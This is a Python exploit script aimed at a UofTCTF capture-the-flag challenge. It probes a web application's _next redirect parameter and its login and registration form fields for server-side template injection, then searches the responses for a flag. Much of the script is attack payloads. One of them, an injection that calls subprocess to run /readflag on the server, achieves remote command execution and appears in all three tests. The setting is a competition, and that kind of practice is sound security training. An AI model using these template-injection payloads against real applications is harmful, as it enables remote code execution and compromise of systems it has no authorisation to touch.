#!/usr/bin/env python3
"""
Test SSTI in _next parameter and user login/register forms
"""

import requests
import urllib3
urllib3.disable_warnings()

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

def test_next_parameter():
    """Test SSTI in _next redirect parameter"""
    
    print("="*60)
    print("Testing _next parameter for SSTI")
    print("="*60)
    
    # Test with simple marker first
    test_payloads = [
        "SIMPLE_MARKER_999",
        "{{='SSTI_MARKER_999'}}",
        "{{7*7}}",
        "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"
    ]
    
    for payload in test_payloads:
        print(f"\n[>] Testing _next={payload[:50]}...")
        
        response = requests.get(
            BASE_URL + "/welcome/default/user/login",
            params={"_next": payload},
            verify=False
        )
        
        print(f"    Status: {response.status_code}, Length: {len(response.text)}")
        
        # Check for markers
        if "SIMPLE_MARKER_999" in response.text:
            print("    [+] Simple marker found!")
        if "SSTI_MARKER_999" in response.text:
            print("    [!!!] SSTI marker found - SSTI WORKS!")
        if "49" in response.text and payload == "{{7*7}}":
            print("    [!!!] Math evaluated - SSTI WORKS!")
        if "uoftctf" in response.text.lower():
            print("\n" + "="*60)
            print("[!!!] FLAG FOUND!")
            print("="*60)
            idx = response.text.lower().find("uoftctf")
            flag_start = idx
            flag_end = response.text.find("}", idx) + 1
            flag = response.text[flag_start:flag_end]
            print(f"\nFLAG: {flag}\n")
            
            # Show context
            print("Context:")
            print(response.text[max(0,idx-200):min(len(response.text),idx+300)])
            return flag
        
        # Save first response for inspection
        if payload == test_payloads[0]:
            with open("next_param_test.html", "w", encoding="utf-8") as f:
                f.write(response.text)
    
    return None

def test_login_form_ssti():
    """Test SSTI in login form fields"""
    
    print("\n" + "="*60)
    print("Testing login form for SSTI")
    print("="*60)
    
    # Try SSTI in email field
    response = requests.post(
        BASE_URL + "/welcome/default/user/login",
        data={
            "email": "{{=__import__('subprocess').check_output(['/readflag']).decode()}}",
            "password": "test123"
        },
        verify=False
    )
    
    print(f"[>] Email SSTI test - Status: {response.status_code}")
    
    if "uoftctf" in response.text.lower():
        print("[!!!] FLAG in email field response!")
        idx = response.text.lower().find("uoftctf")
        print(response.text[idx:idx+100])
        return response.text[idx:response.text.find("}", idx)+1]
    
    # Try SSTI in password field  
    response2 = requests.post(
        BASE_URL + "/welcome/default/user/login",
        data={
            "email": "test@test.com",
            "password": "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"
        },
        verify=False
    )
    
    print(f"[>] Password SSTI test - Status: {response2.status_code}")
    
    if "uoftctf" in response2.text.lower():
        print("[!!!] FLAG in password field response!")
        idx = response2.text.lower().find("uoftctf")
        return response2.text[idx:response2.text.find("}", idx)+1]
    
    return None

def test_register_form():
    """Test SSTI in registration form"""
    
    print("\n" + "="*60)
    print("Testing registration form")
    print("="*60)
    
    # Access registration page with SSTI in _next
    response = requests.get(
        BASE_URL + "/welcome/default/user/register",
        params={"_next": "{{=__import__('subprocess').check_output(['/readflag']).decode()}}"},
        verify=False
    )
    
    print(f"[>] Register with _next SSTI - Status: {response.status_code}")
    
    if "uoftctf" in response.text.lower():
        print("[!!!] FLAG FOUND in register page!")
        idx = response.text.lower().find("uoftctf")
        print(response.text[idx:idx+100])
        return response.text[idx:response.text.find("}", idx)+1]
    
    return None

if __name__ == "__main__":
    flag = test_next_parameter()
    
    if not flag:
        flag = test_login_form_ssti()
    
    if not flag:
        flag = test_register_form()
    
    if not flag:
        print("\n[*] No flag found in user endpoints. Checking saved files...")
